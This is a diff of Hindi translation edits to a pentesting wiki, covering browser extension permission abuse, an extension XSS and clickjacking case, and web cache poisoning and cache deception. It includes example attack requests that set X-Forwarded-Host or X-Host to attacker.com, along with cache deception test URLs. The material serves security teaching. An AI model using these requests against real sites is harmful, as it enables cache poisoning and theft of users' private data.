+[आपके सटीक भौगोलिक स्थान](https://developer.mozilla.org/en-US/docs/Web/API/Geolocation) या [आपकी क्लिपबोर्ड की सामग्री](https://developer.mozilla.org/en-US/docs/Web/API/Clipboard_API) तक पहुँच प्राप्त करने के लिए, अनुमति स्पष्ट रूप से देना पूरी तरह से अनावश्यक है। **एक एक्सटेंशन बस अपने मैनिफेस्ट के** [**permissions entry**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) **में `geolocation` या `clipboard` जोड़ता है।** ये पहुँच विशेषाधिकार तब एक्सटेंशन स्थापित होने पर निहित रूप से दिए जाते हैं। इसलिए एक दुर्भावनापूर्ण या समझौता किया गया एक्सटेंशन इन विशेषाधिकारों के साथ आपकी गतिविधि प्रोफ़ाइल बना सकता है या बिना आपको कुछ भी नोटिस किए पासवर्ड की नकल के लिए आपके क्लिपबोर्ड की निगरानी कर सकता है।
-**`history`** कीवर्ड को एक्सटेंशन मैनिफेस्ट के [permissions entry](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) में जोड़ने से **`history API`** तक पहुँच मिलती है। यह उपयोगकर्ता के पूरे ब्राउज़िंग इतिहास को एक बार में प्राप्त करने की अनुमति देता है, बिना उपयोगकर्ता को इन वेबसाइटों पर फिर से जाने के लिए इंतज़ार किए।
+**`history`** कीवर्ड को एक्सटेंशन मैनिफेस्ट के [permissions entry](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) में जोड़ने से **`history API`** तक पहुँच मिलती है। यह उपयोगकर्ता के पूरे ब्राउज़िंग इतिहास को एक बार में प्राप्त करने की अनुमति देता है, बिना उपयोगकर्ता को इन वेबसाइटों पर फिर से जाने की प्रतीक्षा किए।
-**`bookmarks`** **अनुमति** में समान दुरुपयोग की संभावनाएँ हैं, यह सभी बुकमार्क को [**bookmarks API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/bookmarks) के माध्यम से पढ़ने की अनुमति देती है।
+**`bookmarks`** **अनुमति** में समान दुरुपयोग की संभावनाएँ हैं, यह सभी बुकमार्क्स को [**bookmarks API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/bookmarks) के माध्यम से पढ़ने की अनुमति देती है।
### स्टोरेज अनुमति
@@ -99,9 +99,9 @@ Permissions को extension के **`manifest.json`** फ़ाइल मे
गूगल के डेवलपर की नीति स्पष्ट रूप से एक्सटेंशनों को उनकी कार्यक्षमता के लिए आवश्यक से अधिक विशेषाधिकार मांगने से मना करती है, जिससे अत्यधिक अनुमति अनुरोधों को प्रभावी ढंग से कम किया जा सके। एक उदाहरण जहां एक ब्राउज़र एक्सटेंशन ने इस सीमा को पार किया, वह इसके वितरण में था जो ब्राउज़र के साथ ही हुआ न कि किसी ऐड-ऑन स्टोर के माध्यम से।
-ब्राउज़र एक्सटेंशन विशेषाधिकार के दुरुपयोग को और भी कम कर सकते हैं। उदाहरण के लिए, क्रोम के [tabCapture](https://developer.chrome.com/docs/extensions/reference/tabCapture/) और [desktopCapture](https://developer.chrome.com/docs/extensions/reference/desktopCapture/) APIs, जो स्क्रीन रिकॉर्डिंग के लिए उपयोग किए जाते हैं, दुरुपयोग को कम करने के लिए डिज़ाइन किए गए हैं। tabCapture API केवल सीधे उपयोगकर्ता की बातचीत के माध्यम से सक्रिय किया जा सकता है, जैसे कि एक्सटेंशन आइकन पर क्लिक करना, जबकि desktopCapture को रिकॉर्ड किए जाने के लिए विंडो के लिए उपयोगकर्ता की पुष्टि की आवश्यकता होती है, गुप्त रिकॉर्डिंग गतिविधियों को रोकने के लिए।
+ब्राउज़र एक्सटेंशन विशेषाधिकार के दुरुपयोग को और भी कम कर सकते हैं। उदाहरण के लिए, क्रोम के [tabCapture](https://developer.chrome.com/docs/extensions/reference/tabCapture/) और [desktopCapture](https://developer.chrome.com/docs/extensions/reference/desktopCapture/) APIs, जो स्क्रीन रिकॉर्डिंग के लिए उपयोग किए जाते हैं, दुरुपयोग को कम करने के लिए डिज़ाइन किए गए हैं। tabCapture API केवल सीधे उपयोगकर्ता की बातचीत के माध्यम से सक्रिय किया जा सकता है, जैसे कि एक्सटेंशन आइकन पर क्लिक करना, जबकि desktopCapture को रिकॉर्ड किए जाने के लिए विंडो के लिए उपयोगकर्ता की पुष्टि की आवश्यकता होती है, जिससे गुप्त रिकॉर्डिंग गतिविधियों को रोका जा सके।
-हालांकि, सुरक्षा उपायों को कड़ा करने से अक्सर एक्सटेंशनों की लचीलापन और उपयोगकर्ता-मित्रता में कमी आती है। [activeTab permission](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#activetab_permission) इस व्यापार-बंद को दर्शाता है। इसे इस आवश्यकता को समाप्त करने के लिए पेश किया गया था कि एक्सटेंशनों को पूरे इंटरनेट में होस्ट विशेषाधिकार मांगने की आवश्यकता न हो, जिससे एक्सटेंशनों को केवल उपयोगकर्ता द्वारा स्पष्ट रूप से सक्रिय किए जाने पर वर्तमान टैब तक पहुँचने की अनुमति मिलती है। यह मॉडल उन एक्सटेंशनों के लिए प्रभावी है जिन्हें उपयोगकर्ता-प्रेरित क्रियाओं की आवश्यकता होती है लेकिन उन लोगों के लिए कमज़ोर है जिन्हें स्वचालित या पूर्व-निर्धारित क्रियाओं की आवश्यकता होती है, जिससे सुविधा और तात्कालिक प्रतिक्रिया में समझौता होता है।
+हालांकि, सुरक्षा उपायों को कड़ा करने से अक्सर एक्सटेंशनों की लचीलापन और उपयोगकर्ता-मित्रता में कमी आती है। [activeTab permission](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#activetab_permission) इस व्यापार-बंद को दर्शाता है। इसे इस आवश्यकता को समाप्त करने के लिए पेश किया गया था कि एक्सटेंशनों को पूरे इंटरनेट में होस्ट विशेषाधिकारों के लिए अनुरोध करने की आवश्यकता हो, जिससे एक्सटेंशनों को केवल उपयोगकर्ता द्वारा स्पष्ट रूप से सक्रिय किए जाने पर वर्तमान टैब तक पहुँचने की अनुमति मिलती है। यह मॉडल उन एक्सटेंशनों के लिए प्रभावी है जिन्हें उपयोगकर्ता-प्रेरित क्रियाओं की आवश्यकता होती है लेकिन उन लोगों के लिए कमज़ोर है जिन्हें स्वचालित या पूर्व-निर्धारित क्रियाओं की आवश्यकता होती है, जिससे सुविधा और तात्कालिक प्रतिक्रिया में समझौता होता है।
## **संदर्भ**
diff --git a/src/pentesting-web/browser-extension-pentesting-methodology/browext-xss-example.md b/src/pentesting-web/browser-extension-pentesting-methodology/browext-xss-example.md
index aa2eee7f2..441344262 100644
--- a/src/pentesting-web/browser-extension-pentesting-methodology/browext-xss-example.md
+++ b/src/pentesting-web/browser-extension-pentesting-methodology/browext-xss-example.md
@@ -15,7 +15,7 @@ encodeURIComponent(result.message) +
frame.src = constructedURL
})
```
-एक सार्वजनिक रूप से सुलभ HTML पृष्ठ, **`message.html`**, को URL में दिए गए पैरामीटर के आधार पर दस्तावेज़ शरीर में सामग्री को गतिशील रूप से जोड़ने के लिए डिज़ाइन किया गया है:
+एक सार्वजनिक रूप से सुलभ HTML पृष्ठ, **`message.html`**, को URL में पैरामीटर के आधार पर दस्तावेज़ शरीर में सामग्री को गतिशील रूप से जोड़ने के लिए डिज़ाइन किया गया है:
```javascript
$(document).ready(() => {
let urlParams = new URLSearchParams(window.location.search)
@@ -58,7 +58,7 @@ document.body.append(newFrame)
यह उदाहरण [मूल पोस्ट लेख](https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/) से लिया गया था।
-मुख्य समस्या **`/html/bookmarks.html`** में स्थित एक DOM-आधारित क्रॉस-साइट स्क्रिप्टिंग (XSS) भेद्यता से उत्पन्न होती है। समस्या वाली JavaScript, जो **`bookmarks.js`** का हिस्सा है, नीचे विस्तृत की गई है:
+मुख्य समस्या **`/html/bookmarks.html`** में स्थित एक DOM-आधारित क्रॉस-साइट स्क्रिप्टिंग (XSS) भेद्यता से उत्पन्न होती है। समस्या वाला JavaScript, जो **`bookmarks.js`** का हिस्सा है, नीचे विस्तृत किया गया है:
```javascript
$("#btAdd").on("click", function () {
var bookmarkName = $("#txtName").val()
@@ -84,7 +84,7 @@ persistData()
हालांकि यह कमजोरी महत्वपूर्ण है, इसका शोषण आमतौर पर उपयोगकर्ता इंटरैक्शन पर निर्भर करता है: पृष्ठ पर जाना, XSS पेलोड दर्ज करना, और “Add” बटन को सक्रिय करना।
-इस कमजोरी को बढ़ाने के लिए, एक द्वितीयक **clickjacking** कमजोरी का शोषण किया जाता है। Chrome एक्सटेंशन का मैनिफेस्ट एक विस्तृत `web_accessible_resources` नीति को प्रदर्शित करता है:
+इस कमजोरी को बढ़ाने के लिए, एक द्वितीयक **क्लिकजैकिंग** कमजोरी का शोषण किया जाता है। Chrome एक्सटेंशन का मैनिफेस्ट एक विस्तृत `web_accessible_resources` नीति को प्रदर्शित करता है:
```json
"web_accessible_resources": [
"html/bookmarks.html",
@@ -94,9 +94,9 @@ persistData()
[...]
],
```
-विशेष रूप से, **`/html/bookmarks.html`** पृष्ठ फ्रेमिंग के प्रति संवेदनशील है, इस प्रकार **clickjacking** के लिए कमजोर है। इस कमजोरी का उपयोग पृष्ठ को हमलावर की साइट के भीतर फ्रेम करने के लिए किया जाता है, इसे DOM तत्वों के साथ ओवरले करके इंटरफ़ेस को धोखे से redesign किया जाता है। यह हेरफेर पीड़ितों को अनजाने में अंतर्निहित एक्सटेंशन के साथ इंटरैक्ट करने के लिए प्रेरित करता है।
+विशेष रूप से, **`/html/bookmarks.html`** पृष्ठ फ्रेमिंग के प्रति संवेदनशील है, इस प्रकार **clickjacking** के लिए कमजोर है। इस कमजोरी का उपयोग पृष्ठ को हमलावर की साइट के भीतर फ्रेम करने के लिए किया जाता है, इसे DOM तत्वों के साथ ओवरले करके इंटरफेस को धोखे से redesign किया जाता है। यह हेरफेर पीड़ितों को अनजाने में अंतर्निहित एक्सटेंशन के साथ इंटरैक्ट करने के लिए प्रेरित करता है।
-## References
+## संदर्भ
- [https://palant.info/2022/08/31/when-extension-pages-are-web-accessible/](https://palant.info/2022/08/31/when-extension-pages-are-web-accessible/)
- [https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/](https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/)
diff --git a/src/pentesting-web/cache-deception/README.md b/src/pentesting-web/cache-deception/README.md
index 3f8f11ec4..41120feb9 100644
--- a/src/pentesting-web/cache-deception/README.md
+++ b/src/pentesting-web/cache-deception/README.md
@@ -4,7 +4,7 @@
## अंतर
-> **वेब कैश पॉइज़निंग और वेब कैश धोखाधड़ी में क्या अंतर है?**
+> **वेब कैश पॉइज़निंग और वेब कैश धोखाधड़ी के बीच क्या अंतर है?**
>
> - **वेब कैश पॉइज़निंग** में, हमलावर एप्लिकेशन को कैश में कुछ दुर्भावनापूर्ण सामग्री स्टोर करने के लिए मजबूर करता है, और यह सामग्री अन्य एप्लिकेशन उपयोगकर्ताओं को कैश से परोसी जाती है।
> - **वेब कैश धोखाधड़ी** में, हमलावर एप्लिकेशन को किसी अन्य उपयोगकर्ता की कुछ संवेदनशील सामग्री कैश में स्टोर करने के लिए मजबूर करता है, और फिर हमलावर इस सामग्री को कैश से पुनः प्राप्त करता है।
@@ -16,16 +16,16 @@
कैश पॉइज़निंग हमले के कार्यान्वयन में कई चरण शामिल हैं:
1. **अनकीद इनपुट की पहचान**: ये ऐसे पैरामीटर हैं जो, हालांकि कैश में अनुरोध के लिए आवश्यक नहीं हैं, सर्वर द्वारा लौटाई गई प्रतिक्रिया को बदल सकते हैं। इन इनपुट की पहचान करना महत्वपूर्ण है क्योंकि इन्हें कैश को हेरफेर करने के लिए उपयोग किया जा सकता है।
-2. **अनकीद इनपुट का शोषण**: अनकीद इनपुट की पहचान करने के बाद, अगला चरण यह पता लगाना है कि इन पैरामीटर का दुरुपयोग कैसे किया जाए ताकि सर्वर की प्रतिक्रिया को इस तरह से संशोधित किया जा सके कि हमलावर को लाभ हो।
-3. **सुनिश्चित करना कि दूषित प्रतिक्रिया कैश में है**: अंतिम चरण यह सुनिश्चित करना है कि हेरफेर की गई प्रतिक्रिया कैश में स्टोर हो। इस तरह, प्रभावित पृष्ठ को एक्सेस करने वाला कोई भी उपयोगकर्ता जब कैश संदूषित हो, तो दूषित प्रतिक्रिया प्राप्त करेगा।
+2. **अनकीद इनपुट का शोषण**: अनकीद इनपुट की पहचान करने के बाद, अगला कदम यह पता लगाना है कि इन पैरामीटर का दुरुपयोग कैसे किया जाए ताकि सर्वर की प्रतिक्रिया को इस तरह से संशोधित किया जा सके कि हमलावर को लाभ हो।
+3. **सुनिश्चित करना कि दूषित प्रतिक्रिया कैश में है**: अंतिम कदम यह सुनिश्चित करना है कि हेरफेर की गई प्रतिक्रिया कैश में स्टोर हो। इस तरह, प्रभावित पृष्ठ को एक्सेस करने वाला कोई भी उपयोगकर्ता जब कैश संदूषित हो, तो दूषित प्रतिक्रिया प्राप्त करेगा।
### खोज: HTTP हेडर की जांच करें
-आमतौर पर, जब एक प्रतिक्रिया **कैश में स्टोर की गई** होती है, तो एक **हेडर इस बात का संकेत देता है**, आप इस पोस्ट में देख सकते हैं कि आपको किन हेडरों पर ध्यान देना चाहिए: [**HTTP कैश हेडर**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers)।
+आमतौर पर, जब एक प्रतिक्रिया **कैश में स्टोर की गई** होती है, तो एक **हेडर इस बात का संकेत देता है**, आप इस पोस्ट में देख सकते हैं कि आपको किन हेडर पर ध्यान देना चाहिए: [**HTTP कैश हेडर**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers)।
### खोज: कैशिंग त्रुटि कोड
-यदि आप सोच रहे हैं कि प्रतिक्रिया कैश में स्टोर हो रही है, तो आप **खराब हेडर के साथ अनुरोध भेजने** की कोशिश कर सकते हैं, जिसे **स्थिति कोड 400** के साथ प्रतिक्रिया दी जानी चाहिए। फिर सामान्य रूप से अनुरोध तक पहुँचने की कोशिश करें और यदि **प्रतिक्रिया 400 स्थिति कोड है**, तो आप जानते हैं कि यह संवेदनशील है (और आप यहां तक कि DoS भी कर सकते हैं)।
+यदि आप सोच रहे हैं कि प्रतिक्रिया कैश में स्टोर की जा रही है, तो आप **खराब हेडर के साथ अनुरोध भेजने** की कोशिश कर सकते हैं, जिसे **स्थिति कोड 400** के साथ प्रतिक्रिया दी जानी चाहिए। फिर सामान्य रूप से अनुरोध तक पहुँचने की कोशिश करें और यदि **प्रतिक्रिया 400 स्थिति कोड है**, तो आप जानते हैं कि यह संवेदनशील है (और आप यहां तक कि DoS भी कर सकते हैं)।
आप अधिक विकल्प पा सकते हैं:
@@ -43,26 +43,26 @@ cache-poisoning-to-dos.md
```
### बैक-एंड सर्वर से हानिकारक प्रतिक्रिया प्राप्त करें
-पैरामीटर/हेडर की पहचान करने के बाद, यह जांचें कि इसे **सैनिटाइज** कैसे किया जा रहा है और यह **कहाँ** **प्रतिबिंबित** हो रहा है या हेडर से प्रतिक्रिया को प्रभावित कर रहा है। क्या आप इसे किसी भी तरह से दुरुपयोग कर सकते हैं (एक XSS प्रदर्शन करें या एक JS कोड लोड करें जिसे आप नियंत्रित करते हैं? एक DoS प्रदर्शन करें?...)
+पैरामीटर/हेडर की पहचान करने के बाद, यह जांचें कि इसे **सैनिटाइज** कैसे किया जा रहा है और यह **कहाँ** **प्रतिबिंबित** या हेडर से प्रतिक्रिया को प्रभावित कर रहा है। क्या आप इसे किसी भी तरह से दुरुपयोग कर सकते हैं (एक XSS प्रदर्शन करें या एक JS कोड लोड करें जिसे आप नियंत्रित करते हैं? एक DoS प्रदर्शन करें?...)
### प्रतिक्रिया को कैश करें
एक बार जब आप उस **पृष्ठ** की **पहचान** कर लेते हैं जिसे दुरुपयोग किया जा सकता है, किस **पैरामीटर**/**हेडर** का उपयोग करना है और **कैसे** दुरुपयोग करना है, तो आपको पृष्ठ को कैश करना होगा। जिस संसाधन को आप कैश में लाने की कोशिश कर रहे हैं, उसके आधार पर इसमें कुछ समय लग सकता है, आपको कई सेकंड तक प्रयास करना पड़ सकता है।
प्रतिक्रिया में **`X-Cache`** हेडर बहुत उपयोगी हो सकता है क्योंकि इसमें **`miss`** का मान हो सकता है जब अनुरोध कैश नहीं किया गया था और **`hit`** का मान जब यह कैश किया गया है।\
-**`Cache-Control`** हेडर भी जानने के लिए दिलचस्प है कि क्या कोई संसाधन कैश किया जा रहा है और अगली बार कब वह संसाधन फिर से कैश किया जाएगा: `Cache-Control: public, max-age=1800`
+**`Cache-Control`** हेडर भी जानने के लिए दिलचस्प है कि क्या कोई संसाधन कैश किया जा रहा है और अगली बार कब संसाधन फिर से कैश किया जाएगा: `Cache-Control: public, max-age=1800`
-एक और दिलचस्प हेडर **`Vary`** है। यह हेडर अक्सर **अतिरिक्त हेडर्स** को **संकेतित करने** के लिए उपयोग किया जाता है जो **कैश कुंजी** का **भाग** माने जाते हैं, भले ही वे सामान्यतः अनकुंजीकृत हों। इसलिए, यदि उपयोगकर्ता उस लक्ष्य के `User-Agent` को जानता है, तो वह उस विशेष `User-Agent` का उपयोग करने वाले उपयोगकर्ताओं के लिए कैश को विषाक्त कर सकता है।
+एक और दिलचस्प हेडर **`Vary`** है। यह हेडर अक्सर **अतिरिक्त हेडर्स** को **कैश कुंजी** के भाग के रूप में **संकेतित** करने के लिए उपयोग किया जाता है, भले ही वे सामान्यतः कुंजीबद्ध न हों। इसलिए, यदि उपयोगकर्ता उस लक्ष्य के शिकार की `User-Agent` जानता है, तो वह उस विशेष `User-Agent` का उपयोग करने वाले उपयोगकर्ताओं के लिए कैश को विषाक्त कर सकता है।
कैश से संबंधित एक और हेडर **`Age`** है। यह परिभाषित करता है कि वस्तु प्रॉक्सी कैश में कितने सेकंड से है।
-अनुरोध को कैश करते समय, आप जिन हेडर्स का उपयोग करते हैं, उनके साथ **सावधान रहें** क्योंकि उनमें से कुछ **अनपेक्षित रूप से** **कुंजीबद्ध** के रूप में **उपयोग** किए जा सकते हैं और **पीड़ित को उसी हेडर का उपयोग करना होगा**। हमेशा **विभिन्न ब्राउज़रों** के साथ कैश पॉइज़निंग का **परीक्षण** करें यह जांचने के लिए कि यह काम कर रहा है या नहीं।
+एक अनुरोध को कैश करते समय, आप जिन हेडर्स का उपयोग करते हैं, उनके साथ **सावधान रहें** क्योंकि उनमें से कुछ **अनपेक्षित रूप से** **कुंजीबद्ध** के रूप में **उपयोग** किए जा सकते हैं और **शिकार को उसी हेडर का उपयोग करना होगा**। हमेशा **विभिन्न ब्राउज़रों** के साथ कैश पॉइज़निंग का **परीक्षण** करें यह जांचने के लिए कि यह काम कर रहा है या नहीं।
## शोषण के उदाहरण
### सबसे आसान उदाहरण
-एक हेडर जैसे `X-Forwarded-For` को प्रतिक्रिया में असैनिटाइज्ड रूप में प्रतिबिंबित किया जा रहा है।\
+एक हेडर जैसे `X-Forwarded-For` को प्रतिक्रिया में असैनिटाइज्ड रूप से प्रतिबिंबित किया जा रहा है।\
आप एक बुनियादी XSS पेलोड भेज सकते हैं और कैश को विषाक्त कर सकते हैं ताकि जो कोई भी पृष्ठ तक पहुँचता है वह XSS हो जाएगा:
```markup
GET /en?region=uk HTTP/1.1
@@ -107,7 +107,7 @@ cache-poisoning-via-url-discrepancies.md
### वेब कैश पॉइज़निंग कमजोरियों का शोषण करने के लिए कई हेडर का उपयोग करना
-कभी-कभी आपको **कैश का दुरुपयोग करने के लिए कई अनकीड इनपुट्स का शोषण करने की आवश्यकता होगी**। उदाहरण के लिए, आप एक **ओपन रीडायरेक्ट** पा सकते हैं यदि आप `X-Forwarded-Host` को एक डोमेन पर सेट करते हैं जो आपके द्वारा नियंत्रित है और `X-Forwarded-Scheme` को `http` पर सेट करते हैं। **यदि** **सर्वर** सभी **HTTP** अनुरोधों को **HTTPS** पर **फॉरवर्ड** कर रहा है और रीडायरेक्ट के लिए डोमेन नाम के रूप में `X-Forwarded-Scheme` हेडर का उपयोग कर रहा है। आप रीडायरेक्ट द्वारा पृष्ठ को इंगित करने के स्थान को नियंत्रित कर सकते हैं।
+कभी-कभी आपको **कैश का दुरुपयोग करने के लिए कई अनकीड इनपुट्स का शोषण** करने की आवश्यकता होगी। उदाहरण के लिए, आप एक **ओपन रीडायरेक्ट** पा सकते हैं यदि आप `X-Forwarded-Host` को एक डोमेन पर सेट करते हैं जो आपके द्वारा नियंत्रित है और `X-Forwarded-Scheme` को `http` पर सेट करते हैं। **यदि** **सर्वर** सभी **HTTP** अनुरोधों को **HTTPS** पर **फॉरवर्ड** कर रहा है और रीडायरेक्ट के लिए डोमेन नाम के रूप में `X-Forwarded-Scheme` हेडर का उपयोग कर रहा है। आप रीडायरेक्ट द्वारा पृष्ठ को इंगित करने के स्थान को नियंत्रित कर सकते हैं।
```markup
GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
@@ -116,7 +116,7 @@ X-Forwarded-Scheme: http
```
### सीमित `Vary` हेडर के साथ शोषण
-यदि आप पाते हैं कि **`X-Host`** हेडर **JS संसाधन लोड करने के लिए डोमेन नाम के रूप में** उपयोग किया जा रहा है लेकिन प्रतिक्रिया में **`Vary`** हेडर **`User-Agent`** को इंगित कर रहा है। तो, आपको पीड़ित के User-Agent को बाहर निकालने और उस उपयोगकर्ता एजेंट का उपयोग करके कैश को विषाक्त करने का एक तरीका खोजना होगा:
+यदि आप पाते हैं कि **`X-Host`** हेडर **JS संसाधन लोड करने के लिए डोमेन नाम के रूप में** उपयोग किया जा रहा है लेकिन प्रतिक्रिया में **`Vary`** हेडर **`User-Agent`** को इंगित कर रहा है। तो, आपको पीड़ित के User-Agent को निकालने और उस उपयोगकर्ता एजेंट का उपयोग करके कैश को विषाक्त करने का एक तरीका खोजना होगा:
```markup
GET / HTTP/1.1
Host: vulnerbale.net
@@ -125,7 +125,7 @@ X-Host: attacker.com
```
### Fat Get
-URL में अनुरोध और शरीर में अनुरोध के साथ GET अनुरोध भेजें। यदि वेब सर्वर शरीर से एक का उपयोग करता है लेकिन कैश सर्वर URL से एक को कैश करता है, तो कोई भी उस URL को एक्सेस करने पर वास्तव में शरीर से पैरामीटर का उपयोग करेगा। जैसे कि vuln जो जेम्स केटल ने Github वेबसाइट पर पाया:
+URL में अनुरोध और शरीर में अनुरोध के साथ GET अनुरोध भेजें। यदि वेब सर्वर शरीर से एक का उपयोग करता है लेकिन कैश सर्वर URL से एक को कैश करता है, तो कोई भी उस URL को एक्सेस करने पर वास्तव में शरीर से पैरामीटर का उपयोग करेगा। जैसे कि vuln James Kettle ने Github वेबसाइट पर पाया:
```
GET /contact/report-abuse?report=albinowax HTTP/1.1
Host: github.com
@@ -164,7 +164,7 @@ ATS ने URL के अंदर के अंश को बिना हट
### GitLab + GCP CP-DoS
-GitLab स्थिर सामग्री को स्टोर करने के लिए GCP बकेट का उपयोग करता है। **GCP Buckets** **हेडर `x-http-method-override`** का समर्थन करते हैं। इसलिए हेडर `x-http-method-override: HEAD` भेजना और कैश को खाली प्रतिक्रिया शरीर लौटाने के लिए विषाक्त करना संभव था। यह `PURGE` विधि का भी समर्थन कर सकता है।
+GitLab स्थिर सामग्री को स्टोर करने के लिए GCP बकेट का उपयोग करता है। **GCP Buckets** **हेडर `x-http-method-override`** का समर्थन करते हैं। इसलिए हेडर `x-http-method-override: HEAD` भेजना और कैश को खाली प्रतिक्रिया शरीर लौटाने के लिए विषाक्त करना संभव था। यह `PURGE` विधि का भी समर्थन कर सकता था।
### Rack Middleware (Ruby on Rails)
@@ -172,7 +172,7 @@ Ruby on Rails अनुप्रयोगों में, Rack मिडलव
### 403 and Storage Buckets
-Cloudflare ने पहले 403 प्रतिक्रियाओं को कैश किया था। गलत प्राधिकरण हेडर के साथ S3 या Azure Storage Blobs तक पहुंचने का प्रयास करने पर 403 प्रतिक्रिया उत्पन्न होती थी जो कैश हो जाती थी। हालांकि Cloudflare ने 403 प्रतिक्रियाओं को कैश करना बंद कर दिया है, यह व्यवहार अन्य प्रॉक्सी सेवाओं में अभी भी मौजूद हो सकता है।
+Cloudflare ने पहले 403 प्रतिक्रियाओं को कैश किया था। गलत प्राधिकरण हेडर के साथ S3 या Azure Storage Blobs तक पहुँचने का प्रयास करने पर 403 प्रतिक्रिया उत्पन्न होती थी जो कैश हो जाती थी। हालांकि Cloudflare ने 403 प्रतिक्रियाओं को कैश करना बंद कर दिया है, यह व्यवहार अन्य प्रॉक्सी सेवाओं में अभी भी मौजूद हो सकता है।
### Injecting Keyed Parameters
@@ -184,7 +184,7 @@ Cloudflare ने पहले 403 प्रतिक्रियाओं क
### Illegal Header Fields
-[RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) हेडर नामों में स्वीकार्य वर्णों को निर्दिष्ट करता है। हेडर में निर्दिष्ट **tchar** रेंज के बाहर के वर्णों को शामिल करने वाले हेडर को आदर्श रूप से 400 Bad Request प्रतिक्रिया उत्पन्न करनी चाहिए। व्यवहार में, सर्वर हमेशा इस मानक का पालन नहीं करते हैं। एक उल्लेखनीय उदाहरण Akamai है, जो अवैध वर्णों वाले हेडर को अग्रेषित करता है और किसी भी 400 त्रुटि को कैश करता है, जब तक कि `cache-control` हेडर मौजूद नहीं है। एक exploitable पैटर्न की पहचान की गई थी जहां अवैध वर्ण जैसे `\` वाला हेडर भेजने से कैशेबल 400 Bad Request त्रुटि उत्पन्न होती है।
+[RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) हेडर नामों में स्वीकार्य वर्णों को निर्दिष्ट करता है। हेडर्स में निर्दिष्ट **tchar** रेंज के बाहर के वर्ण होने पर आदर्श रूप से 400 Bad Request प्रतिक्रिया उत्पन्न होनी चाहिए। व्यवहार में, सर्वर हमेशा इस मानक का पालन नहीं करते हैं। एक उल्लेखनीय उदाहरण Akamai है, जो अवैध वर्णों वाले हेडर को अग्रेषित करता है और किसी भी 400 त्रुटि को कैश करता है, जब तक कि `cache-control` हेडर मौजूद नहीं है। एक exploitable पैटर्न पहचाना गया था जहां अवैध वर्ण जैसे `\` वाला हेडर भेजने पर कैशेबल 400 Bad Request त्रुटि उत्पन्न होती थी।
### Finding new headers
@@ -194,7 +194,7 @@ Cloudflare ने पहले 403 प्रतिक्रियाओं क
Cache Deception का लक्ष्य ग्राहकों को **ऐसे संसाधनों को लोड करने के लिए मजबूर करना है जो कैश द्वारा उनके संवेदनशील जानकारी के साथ सहेजे जाने वाले हैं**।
-सबसे पहले यह ध्यान दें कि **extensions** जैसे `.css`, `.js`, `.png` आदि आमतौर पर **कैश में सहेजे जाने के लिए** **कॉन्फ़िगर** किए जाते हैं। इसलिए, यदि आप `www.example.com/profile.php/nonexistent.js` तक पहुंचते हैं, तो कैश संभवतः प्रतिक्रिया को सहेज लेगा क्योंकि यह `.js` **extension** को देखता है। लेकिन, यदि **अनुप्रयोग** _www.example.com/profile.php_ में संग्रहीत **संवेदनशील** उपयोगकर्ता सामग्री के साथ **पुनः खेलता है**, तो आप अन्य उपयोगकर्ताओं से उन सामग्रियों को **चुरा** सकते हैं।
+सबसे पहले ध्यान दें कि **extensions** जैसे `.css`, `.js`, `.png` आदि आमतौर पर **सहेजे जाने** के लिए **कॉन्फ़िगर** किए जाते हैं। इसलिए, यदि आप `www.example.com/profile.php/nonexistent.js` तक पहुँचते हैं, तो कैश संभवतः प्रतिक्रिया को सहेज लेगा क्योंकि यह `.js` **extension** को देखता है। लेकिन, यदि **application** _www.example.com/profile.php_ में संग्रहीत **संवेदनशील** उपयोगकर्ता सामग्री के साथ **replaying** कर रहा है, तो आप अन्य उपयोगकर्ताओं से उन सामग्रियों को **चुरा** सकते हैं।
परीक्षण करने के लिए अन्य चीजें:
@@ -203,19 +203,19 @@ Cache Deception का लक्ष्य ग्राहकों को **ऐ
- _www.example.com/profile.php/test.js_
- _www.example.com/profile.php/../test.js_
- _www.example.com/profile.php/%2e%2e/test.js_
-- _कम ज्ञात एक्सटेंशन का उपयोग करें जैसे_ `.avif`
+- _कम ज्ञात एक्सटेंशन जैसे_ `.avif` का उपयोग करें
एक और बहुत स्पष्ट उदाहरण इस लेख में पाया जा सकता है: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\
उदाहरण में, यह समझाया गया है कि यदि आप _http://www.example.com/home.php/non-existent.css_ जैसी गैर-मौजूद पृष्ठ को लोड करते हैं, तो _http://www.example.com/home.php_ (**उपयोगकर्ता की संवेदनशील जानकारी के साथ**) की सामग्री लौटाई जाएगी और कैश सर्वर परिणाम को सहेज लेगा।\
-फिर, **हमलावर** अपने स्वयं के ब्राउज़र में _http://www.example.com/home.php/non-existent.css_ तक पहुंच सकता है और पहले पहुंचने वाले उपयोगकर्ताओं की **गोपनीय जानकारी** देख सकता है।
+फिर, **attacker** अपने ब्राउज़र में _http://www.example.com/home.php/non-existent.css_ तक पहुँच सकता है और पहले पहुँचने वाले उपयोगकर्ताओं की **गोपनीय जानकारी** देख सकता है।
-ध्यान दें कि **कैश प्रॉक्सी** को फ़ाइलों को **कैश** करने के लिए **कॉन्फ़िगर** किया जाना चाहिए **फाइल के एक्सटेंशन** (_.css_) के आधार पर और सामग्री-प्रकार के आधार पर नहीं। उदाहरण में _http://www.example.com/home.php/non-existent.css_ का `text/html` सामग्री-प्रकार होगा न कि _.css_ फ़ाइल के लिए अपेक्षित `text/css` माइम प्रकार।
